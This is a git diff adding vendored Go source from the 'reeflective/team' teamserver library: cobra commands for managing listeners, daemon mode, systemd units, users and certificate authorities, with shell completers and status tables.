set.Value + break + } + } + + compiled, err := strconv.ParseInt(compiledAt, 10, 64) + if err != nil { + return time.Unix(0, 0), err + } + + return time.Unix(compiled, 0), nil +} + +// GitCommit returns the last commit hash. +func GitCommit() string { + info, ok := debug.ReadBuildInfo() + if !ok { + return "" + } + + for _, set := range info.Settings { + if set.Key == "vcs.revision" { + return set.Value + } + } + + return "" +} + +// GitDirty returns true if the binary was compiled +// with modified files in the VCS working area. +func GitDirty() bool { + info, ok := debug.ReadBuildInfo() + if !ok { + return false + } + + for _, set := range info.Settings { + if set.Key == "vcs.modified" { + return set.Key == "true" + } + } + + return false +} diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go new file mode 100644 index 0000000000..6439dea177 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -0,0 +1,260 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + + "github.com/reeflective/team/client" + cli "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/server" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// Generate returns a "teamserver" command root and its tree for teamserver (server-side) management. +// It requires a teamclient so as to bind its "teamclient" tree as a subcommand of the server root. +// This is so that all CLI applications which can be a teamserver can also be a client of their own. +// +// ** Commands do: +// - Work even if the teamserver/client returns errors: those are returned &| printed &| logged. +// - Use the cobra utilities OutOrStdout(), ErrOrStdErr(), ... for all and every command output. +// - Have attached completions for users/listeners/config files of all sorts, and other things. +// - Have the ability to be ran in closed-loop console applications ("single runtime shell"). +// +// ** Commands do NOT: +// - Ensure they are connected to a server instance before running (in memory). +// - Call os.Exit() anywhere, thus will not exit the program embedding them. +// - Ignite/start the teamserver core/filesystem/backends before they absolutely need to. +// Consequently, do not touch the filesystem until they absolutely need to. +// - Connect the client more than once to the teamserver. +// - Start persistent listeners, excluding the daemon command. +func Generate(teamserver *server.Server, teamclient *client.Client) *cobra.Command { + // Server-only commands always need to have open log + // files, most of the time access to the database, etc. + // On top, they need a listener in memory. + servCmds := serverCommands(teamserver, teamclient) + + // We bind the same runners to the client-side commands. + cliCmds := cli.Generate(teamclient) + cliCmds.Use = "client" + cliCmds.GroupID = command.TeamServerGroup + + servCmds.AddCommand(cliCmds) + + return servCmds +} + +func serverCommands(server *server.Server, client *client.Client) *cobra.Command { + teamCmd := &cobra.Command{ + Use: "teamserver", + Short: fmt.Sprintf("Manage the %s teamserver and users", server.Name()), + SilenceUsage: true, + } + + // Groups + teamCmd.AddGroup( + &cobra.Group{ID: command.TeamServerGroup, Title: command.TeamServerGroup}, + &cobra.Group{ID: command.UserManagementGroup, Title: command.UserManagementGroup}, + ) + + teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError) + teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:info-> 3:trace)") + teamCmd.PersistentFlags().AddFlagSet(teamFlags) + + // [ Listeners and servers control commands ] ------------------------------------------ + + // Start a listener + listenCmd := &cobra.Command{ + Use: "listen", + Short: "Start a teamserver listener (non-blocking)", + GroupID: command.TeamServerGroup, + RunE: startListenerCmd(server), + } + + lnFlags := pflag.NewFlagSet("listener", pflag.ContinueOnError) + lnFlags.StringP("host", "H", "", "interface to bind server to") + lnFlags.StringP("listener", "l", "", "listener stack to use instead of default (completed)") + lnFlags.Uint16P("port", "P", 31337, "tcp listen port") + lnFlags.BoolP("persistent", "p", false, "make listener persistent across restarts") + listenCmd.Flags().AddFlagSet(lnFlags) + + listenComps := make(carapace.ActionMap) + listenComps["host"] = interfacesCompleter() + listenComps["listener"] = carapace.ActionCallback(listenerTypeCompleter(client, server)) + carapace.Gen(listenCmd).FlagCompletion(listenComps) + + teamCmd.AddCommand(listenCmd) + + // Close a listener + closeCmd := &cobra.Command{ + Use: "close", + Short: "Close a listener and remove it from persistent ones if it's one", + Args: cobra.MinimumNArgs(1), + GroupID: command.TeamServerGroup, + Run: closeCmd(server), + } + + closeComps := carapace.Gen(closeCmd) + closeComps.PositionalAnyCompletion(carapace.ActionCallback(listenerIDCompleter(client, server))) + + closeComps.PreRun(func(cmd *cobra.Command, args []string) { + if cmd.PersistentPreRunE != nil { + cmd.PersistentPreRunE(cmd, args) + } + if cmd.PreRunE != nil { + cmd.PreRunE(cmd, args) + } + }) + + teamCmd.AddCommand(closeCmd) + + // Daemon (blocking listener and persistent jobs) + daemonCmd := &cobra.Command{ + Use: "daemon", + Short: "Start the teamserver in daemon mode (blocking)", + GroupID: command.TeamServerGroup, + RunE: daemoncmd(server), + } + daemonCmd.Flags().StringP("host", "l", "-", "multiplayer listener host") + daemonCmd.Flags().Uint16P("port", "p", uint16(0), "multiplayer listener port") + + daemonComps := make(carapace.ActionMap) + daemonComps["host"] = interfacesCompleter() + carapace.Gen(daemonCmd).FlagCompletion(daemonComps) + + teamCmd.AddCommand(daemonCmd) + + // Systemd configuration output + systemdCmd := &cobra.Command{ + Use: "systemd", + Short: "Print a systemd unit file for the application teamserver, with options", + GroupID: command.TeamServerGroup, + RunE: systemdConfigCmd(server), + } + + sFlags := pflag.NewFlagSet("systemd", pflag.ContinueOnError) + sFlags.StringP("binpath", "b", "", "Specify the path of the teamserver application binary") + sFlags.StringP("user", "u", "", "Specify the user for the systemd file to run with") + sFlags.StringP("save", "s", "", "Directory/file in which to save config, instead of stdout") + sFlags.StringP("host", "l", "", "Listen host to use in the systemd command line") + sFlags.Uint16P("port", "p", 0, "Listen port in the systemd command line") + systemdCmd.Flags().AddFlagSet(sFlags) + + sComps := make(carapace.ActionMap) + sComps["save"] = carapace.ActionFiles() + sComps["binpath"] = carapace.ActionFiles() + sComps["host"] = interfacesCompleter() + carapace.Gen(systemdCmd).FlagCompletion(sComps) + + teamCmd.AddCommand(systemdCmd) + + statusCmd := &cobra.Command{ + Use: "status", + Short: "Show the status of the teamserver (listeners, configurations, health...)", + GroupID: command.TeamServerGroup, + Run: statusCmd(server), + } + + teamCmd.AddCommand(statusCmd) + + // [ Users and data control commands ] ------------------------------------------------- + + // Add user + userCmd := &cobra.Command{ + Use: "user", + Short: "Create a user for this teamserver and generate its client configuration file", + GroupID: command.UserManagementGroup, + Run: createUserCmd(server, client), + } + + teamCmd.AddCommand(userCmd) + + userFlags := pflag.NewFlagSet("user", pflag.ContinueOnError) + userFlags.StringP("host", "l", "", "listen host") + userFlags.Uint16P("port", "p", 0, "listen port") + userFlags.StringP("save", "s", "", "directory/file in which to save config") + userFlags.StringP("name", "n", "", "user name") + userFlags.BoolP("system", "U", false, "Use the current OS user, and save its configuration directly in client dir") + userCmd.Flags().AddFlagSet(userFlags) + + userComps := make(carapace.ActionMap) + userComps["save"] = carapace.ActionDirectories() + userComps["host"] = interfacesCompleter() + carapace.Gen(userCmd).FlagCompletion(userComps) + + // Delete and kick user + rmUserCmd := &cobra.Command{ + Use: "delete", + Short: "Remove a user from the teamserver, and revoke all its current tokens", + GroupID: command.UserManagementGroup, + Args: cobra.ExactArgs(1), + Run: rmUserCmd(server), + } + + teamCmd.AddCommand(rmUserCmd) + + rmUserComps := carapace.Gen(rmUserCmd) + + rmUserComps.PositionalCompletion(carapace.ActionCallback(userCompleter(client, server))) + + rmUserComps.PreRun(func(cmd *cobra.Command, args []string) { + if cmd.PersistentPreRunE != nil { + cmd.PersistentPreRunE(cmd, args) + } + if cmd.PreRunE != nil { + cmd.PreRunE(cmd, args) + } + }) + + // Import a list of users and their credentials. + cmdImportCA := &cobra.Command{ + Use: "import", + Short: "Import a certificate Authority file containing teamserver users", + GroupID: command.UserManagementGroup, + Args: cobra.ExactArgs(1), + Run: importCACmd(server), + } + + iComps := carapace.Gen(cmdImportCA) + iComps.PositionalCompletion( + carapace.Batch( + carapace.ActionCallback(cli.ConfigsCompleter(client, "teamserver/certs", ".teamserver.pem", "other teamservers user CAs", true)), + carapace.ActionFiles().Tag("teamserver user CAs"), + ).ToA(), + ) + + teamCmd.AddCommand(cmdImportCA) + + // Export the list of users and their credentials. + cmdExportCA := &cobra.Command{ + Use: "export", + Short: "Export a Certificate Authority file containing the teamserver users", + GroupID: command.UserManagementGroup, + Args: cobra.RangeArgs(0, 1), + Run: exportCACmd(server), + } + + carapace.Gen(cmdExportCA).PositionalCompletion(carapace.ActionFiles()) + teamCmd.AddCommand(cmdExportCA) + + return teamCmd +} diff --git a/vendor/github.com/reeflective/team/server/commands/completers.go b/vendor/github.com/reeflective/team/server/commands/completers.go new file mode 100644 index 0000000000..40c2d12af3 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/completers.go @@ -0,0 +1,140 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net" + "strings" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/server" + "github.com/rsteube/carapace" +) + +// interfacesCompleter completes interface addresses on the client host. +func interfacesCompleter() carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + ifaces, err := net.Interfaces() + if err != nil { + return carapace.ActionMessage("failed to get net interfaces: %s", err.Error()) + } + + results := make([]string, 0) + + for _, i := range ifaces { + addrs, err := i.Addrs() + if err != nil { + continue + } + + for _, a := range addrs { + switch ipType := a.(type) { + case *net.IPAddr: + results = append(results, ipType.IP.String()) + case *net.IPNet: + results = append(results, ipType.IP.String()) + default: + results = append(results, ipType.String()) + } + } + } + + return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') + }) +} + +// userCompleter completes usernames of the application teamserver. +func userCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + users, err := client.Users() + if err != nil { + return carapace.ActionMessage("Failed to get users: %s", err) + } + + results := make([]string, len(users)) + for i, user := range users { + results[i] = strings.TrimSpace(user.Name) + } + + if len(results) == 0 { + return carapace.ActionMessage(fmt.Sprintf("%s teamserver has no users", server.Name())) + } + + return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver users", server.Name())) + } +} + +// listenerIDCompleter completes ID for running teamserver listeners. +func listenerIDCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + listeners := server.Listeners() + cfg := server.GetConfig() + + var results []string + for _, ln := range listeners { + results = append(results, strings.TrimSpace(formatSmallID(ln.ID))) + results = append(results, fmt.Sprintf("[%s] (%s)", ln.Description, "Up")) + } + + var persistents []string + next: + for _, saved := range cfg.Listeners { + + for _, ln := range listeners { + if saved.ID == ln.ID { + continue next + } + } + + persistents = append(persistents, strings.TrimSpace(formatSmallID(saved.ID))) + + host := fmt.Sprintf("%s:%d", saved.Host, saved.Port) + persistents = append(persistents, fmt.Sprintf("[%s] (%s)", host, "Up")) + } + + if len(results) == 0 && len(persistents) == 0 { + return carapace.ActionMessage(fmt.Sprintf("no listeners running/saved for %s teamserver", server.Name())) + } + + // return carapace. + return carapace.Batch( + carapace.ActionValuesDescribed(results...).Tag("active teamserver listeners"), + carapace.ActionValuesDescribed(persistents...).Tag("saved teamserver listeners"), + ).ToA() + } +} + +// listenerTypeCompleter completes the different types of teamserver listener/handler stacks available. +func listenerTypeCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + listeners := server.Handlers() + + var results []string + for _, ln := range listeners { + results = append(results, strings.TrimSpace(ln.Name())) + } + + if len(results) == 0 { + return carapace.ActionMessage(fmt.Sprintf("no additional listener types for %s teamserver", server.Name())) + } + + return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver listener types", server.Name())) + } +} diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go new file mode 100644 index 0000000000..286536acb7 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go @@ -0,0 +1,384 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "runtime/debug" + "strconv" + "strings" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/log" + "github.com/reeflective/team/internal/systemd" + "github.com/reeflective/team/server" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + lhost, err := cmd.Flags().GetString("host") + if err != nil { + return fmt.Errorf("Failed to get --host flag: %w", err) + } + + lport, err := cmd.Flags().GetUint16("port") + if err != nil { + return fmt.Errorf("Failed to get --port (%d) flag: %w", lport, err) + } + + // Also written to logs in the teamserver code. + defer func() { + if r := recover(); r != nil { + fmt.Fprintf(cmd.OutOrStdout(), "stacktrace from panic: \n"+string(debug.Stack())) + } + }() + + // cli args take precedence over config (this is here for status printing purposes) + if lhost == "" { + lhost = serv.GetConfig().DaemonMode.Host + } + + if lport == 0 { + lport = uint16(serv.GetConfig().DaemonMode.Port) + } + + fmt.Fprintf(cmd.OutOrStdout(), "Starting %s teamserver daemon on %s:%d ...\n", serv.Name(), lhost, lport) + + // Blocking call, your program will only exit/resume on Ctrl-C/SIGTERM + return serv.ServeDaemon(lhost, lport) + } +} + +func startListenerCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + lhost, _ := cmd.Flags().GetString("host") + lport, _ := cmd.Flags().GetUint16("port") + persistent, _ := cmd.Flags().GetBool("persistent") + ltype, _ := cmd.Flags().GetString("listener") + + _, err := serv.ServeAddr(ltype, lhost, lport) + if err == nil { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Teamserver listener started on %s:%d\n", lhost, lport) + + if persistent { + serv.ListenerAdd(ltype, lhost, lport) + } + } else { + return fmt.Errorf(command.Warn+"Failed to start job %w", err) + } + + return nil + } +} + +func closeCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + listeners := serv.Listeners() + cfg := serv.GetConfig() + + for _, arg := range args { + if arg == "" { + continue + } + + for _, ln := range listeners { + if strings.HasPrefix(ln.ID, arg) { + err := serv.ListenerClose(arg) + if err != nil { + fmt.Fprintln(cmd.ErrOrStderr(), command.Warn, err) + } else { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Closed %s listener (%s) [%s]\n", ln.Name, formatSmallID(ln.ID), ln.Description) + } + } + } + } + + for _, arg := range args { + if arg == "" { + continue + } + + for _, saved := range cfg.Listeners { + if strings.HasPrefix(saved.ID, arg) { + serv.ListenerRemove(saved.ID) + id := formatSmallID(saved.ID) + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Deleted %s listener (%s) from saved jobs\n", saved.Name, id) + + continue + } + } + } + } +} + +func systemdConfigCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + config := systemd.NewDefaultConfig() + + userf, _ := cmd.Flags().GetString("user") + if userf != "" { + config.User = userf + } + + binPath, _ := cmd.Flags().GetString("binpath") + if binPath != "" { + config.Binpath = binPath + } + + host, hErr := cmd.Flags().GetString("host") + if hErr != nil { + return hErr + } + + port, pErr := cmd.Flags().GetUint16("port") + if pErr != nil { + return pErr + } + + // The last argument is the systemd command: + // its parent is the teamserver one, to which + // should be attached the daemon command. + daemonCmd, _, err := cmd.Parent().Find([]string{"daemon"}) + if err != nil { + return fmt.Errorf("Failed to find teamserver daemon command in tree: %w", err) + } + + config.Args = append(callerArgs(cmd.Parent()), daemonCmd.Name()) + if len(config.Args) > 0 && binPath != "" { + config.Args[0] = binPath + } + + if host != "" { + config.Args = append(config.Args, strings.Join([]string{"--host", host}, " ")) + } + + if port != 0 { + config.Args = append(config.Args, strings.Join([]string{"--port", strconv.Itoa(int(port))}, " ")) + } + + systemdConfig := systemd.NewFrom(serv.Name(), config) + fmt.Fprint(cmd.OutOrStdout(), systemdConfig) + + return nil + } +} + +func statusCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, _ []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + cfg := serv.GetConfig() + + dbCfg := serv.DatabaseConfig() + + database := fmt.Sprintf("%s - %s [%s:%d] ", dbCfg.Dialect, dbCfg.Database, dbCfg.Host, dbCfg.Port) + + // General options, in-memory, default port, config path, database, etc + fmt.Fprintln(cmd.OutOrStdout(), formatSection("General")) + fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{ + "Home", serv.HomeDir(), + "Port", strconv.Itoa(cfg.DaemonMode.Port), + "Database", database, + "Config", serv.ConfigPath(), + })) + + // Logging files/level/status + fakeLog := serv.NamedLogger("", "") + + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Logging")) + fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{ + "Level", fakeLog.Logger.Level.String(), + "Root", log.FileName(filepath.Join(serv.LogsDir(), serv.Name()), true), + "Audit", filepath.Join(serv.LogsDir(), "audit.json"), + })) + + // Certificate files. + certsPath := serv.CertificatesDir() + if dir, err := os.Stat(certsPath); err == nil && dir.IsDir() { + files, err := fs.ReadDir(os.DirFS(certsPath), ".") + if err == nil || len(files) > 0 { + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Certificate files")) + + for _, file := range files { + fmt.Fprintln(cmd.OutOrStdout(), filepath.Join(certsPath, file.Name())) + } + } + } + + // Listeners + listenersTable := listenersTable(serv, cfg) + + if listenersTable != "" { + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Listeners")) + fmt.Fprintln(cmd.OutOrStdout(), listenersTable) + } + } +} + +func listenersTable(serv *server.Server, cfg *server.Config) string { + listeners := serv.Listeners() + + tbl := &table.Table{} + tbl.SetStyle(command.TableStyle) + + tbl.AppendHeader(table.Row{ + "ID", + "Name", + "Description", + "State", + "Persistent", + }) + + for _, listener := range listeners { + persist := false + + for _, saved := range cfg.Listeners { + if saved.ID == listener.ID { + persist = true + } + } + + tbl.AppendRow(table.Row{ + formatSmallID(listener.ID), + listener.Name, + listener.Description, + command.Green + command.Bold + "Up" + command.Normal, + persist, + }) + } + +next: + for _, saved := range cfg.Listeners { + + for _, ln := range listeners { + if saved.ID == ln.ID { + continue next + } + } + + tbl.AppendRow(table.Row{ + formatSmallID(saved.ID), + saved.Name, + fmt.Sprintf("%s:%d", saved.Host, saved.Port), + command.Red + command.Bold + "Down" + command.Normal, + true, + }) + } + + if len(listeners) > 0 { + return tbl.Render() + } + + return "" +} + +func fieldName(name string) string { + return command.Blue + command.Bold + name + command.Normal +} + +func callerArgs(cmd *cobra.Command) []string { + var args []string + + if cmd.HasParent() { + args = callerArgs(cmd.Parent()) + } + + args = append(args, cmd.Name()) + + return args +} + +func formatSection(msg string, args ...any) string { + return "\n" + command.Bold + command.Orange + fmt.Sprintf(msg, args...) + command.Normal +} + +// formatSmallID returns a smallened ID for table/completion display. +func formatSmallID(id string) string { + if len(id) <= 8 { + return id + } + + return id[:8] +} + +func displayGroup(values []string) string { + var maxLength int + var group string + + // Get the padding for headers + for i, head := range values { + if i%2 != 0 { + continue + } + + if len(head) > maxLength { + maxLength = len(head) + } + } + + for i := 0; i < len(values)-1; i += 2 { + field := values[i] + value := values[i+1] + + headName := fmt.Sprintf("%*s", maxLength, field) + fieldName := command.Blue + command.Bold + headName + command.Normal + " " + group += fmt.Sprintf("%s: %s\n", fieldName, value) + } + + return group +} diff --git a/vendor/github.com/reeflective/team/server/commands/user.go b/vendor/github.com/reeflective/team/server/commands/user.go new file mode 100644 index 0000000000..e8c1f68cd1 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/user.go @@ -0,0 +1,215 @@ +package commands + +import ( + "encoding/json" + "fmt" + "os" + "os/user" + "path/filepath" + "strings" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/server" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, _ []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + name, _ := cmd.Flags().GetString("name") + lhost, _ := cmd.Flags().GetString("host") + lport, _ := cmd.Flags().GetUint16("port") + save, _ := cmd.Flags().GetString("save") + system, _ := cmd.Flags().GetBool("system") + + if save == "" { + save, _ = os.Getwd() + } + + var filename string + var saveTo string + + if system { + user, err := user.Current() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to get current OS user: %s\n", err) + return + } + + name = user.Username + filename = fmt.Sprintf("%s_%s_default", serv.Name(), user.Username) + saveTo = cli.ConfigsDir() + + err = os.MkdirAll(saveTo, assets.DirPerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"cannot write to %s root dir: %s\n", saveTo, err) + return + } + } else { + saveTo, _ = filepath.Abs(save) + userFile, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !userFile.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists %s\n", err) + return + } + + if !os.IsNotExist(err) && userFile.IsDir() { + filename = fmt.Sprintf("%s_%s", filepath.Base(name), filepath.Base(lhost)) + } + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Generating new client certificate, please wait ... \n") + + config, err := serv.UserCreate(name, lhost, lport) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err) + return + } + + configJSON, err := json.Marshal(config) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"JSON marshaling error: %s\n", err) + return + } + + saveTo = filepath.Join(saveTo, filename+".teamclient.cfg") + + err = os.WriteFile(saveTo, configJSON, assets.FileReadPerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to write config to %s: %s\n", saveTo, err) + return + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Saved new client config to: %s\n", saveTo) + } +} + +func rmUserCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + user := args[0] + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Removing client certificate(s)/token(s) for %s, please wait ... \n", user) + + err := serv.UserDelete(user) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to remove the user certificate: %v\n", err) + return + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"User %s has been deleted from the teamserver, and kicked out.\n", user) + } +} + +func importCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + load := args[0] + + fi, err := os.Stat(load) + if os.IsNotExist(err) || fi.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot load file %s\n", load) + } + + data, err := os.ReadFile(load) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot read file: %v\n", err) + } + + // CA - Exported CA format + type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` + } + + importCA := &CA{} + err = json.Unmarshal(data, importCA) + + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to parse file: %s\n", err) + } + + cert := []byte(importCA.Certificate) + key := []byte(importCA.PrivateKey) + serv.UsersSaveCA(cert, key) + } +} + +func exportCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + var save string + if len(args) == 1 { + save = args[0] + } + + if strings.TrimSpace(save) == "" { + save, _ = os.Getwd() + } + + certificateData, privateKeyData, err := serv.UsersGetCA() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Error reading CA %s\n", err) + return + } + + // CA - Exported CA format + type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` + } + + exportedCA := &CA{ + Certificate: string(certificateData), + PrivateKey: string(privateKeyData), + } + + saveTo, _ := filepath.Abs(save) + + caFile, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !caFile.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists: %s\n", err) + return + } + + if !os.IsNotExist(err) && caFile.IsDir() { + filename := fmt.Sprintf("%s-%s.teamserver.ca", serv.Name(), "users") + saveTo = filepath.Join(saveTo, filename) + } + + data, _ := json.Marshal(exportedCA) + + err = os.WriteFile(saveTo, data, assets.FileWritePerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Write failed: %s (%s)\n", saveTo, err) + return + } + } +} diff --git a/vendor/github.com/reeflective/team/server/config.go b/vendor/github.com/reeflective/team/server/config.go new file mode 100644 index 0000000000..28a5ffbc23 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/config.go @@ -0,0 +1,204 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/hex" + "encoding/json" + "fmt" + insecureRand "math/rand" + "os" + "path/filepath" + "time" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" +) + +const ( + blankHost = "-" + blankPort = uint16(0) + tokenLength = 32 + defaultPort = 31416 // Should be 31415, but... go to hell with limits. +) + +// Config represents the configuration of a given application teamserver. +// It contains anonymous embedded structs as subsections, for logging, +// daemon mode bind addresses, and persistent teamserver listeners +// +// Its default path is ~/.app/teamserver/configs/app.teamserver.cfg. +// It uses the following default values: +// - Daemon host: "" +// - Daemon port: 31416 +// - logging file level: Info. +type Config struct { + // When the teamserver command `app teamserver daemon` is executed + // without --host/--port flags, the teamserver will use the config. + DaemonMode struct { + Host string `json:"host"` + Port int `json:"port"` + } `json:"daemon_mode"` + + // Logging controls the file-based logging level, whether or not + // to log TLS keys to file, and whether to log specific gRPC payloads. + Log struct { + Level int `json:"level"` + GRPCUnaryPayloads bool `json:"grpc_unary_payloads"` + GRPCStreamPayloads bool `json:"grpc_stream_payloads"` + TLSKeyLogger bool `json:"tls_key_logger"` + } `json:"log"` + + // Listeners is a list of persistent teamserver listeners. + // They are started when the teamserver daemon command/mode is. + Listeners []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + } `json:"listeners"` +} + +// ConfigPath returns the path to the server config.json file, on disk or in-memory. +func (ts *Server) ConfigPath() string { + appDir := ts.ConfigsDir() + + err := ts.fs.MkdirAll(appDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s config dir: %s", appDir, err) + } + + serverConfigPath := filepath.Join(appDir, fmt.Sprintf("%s.%s", 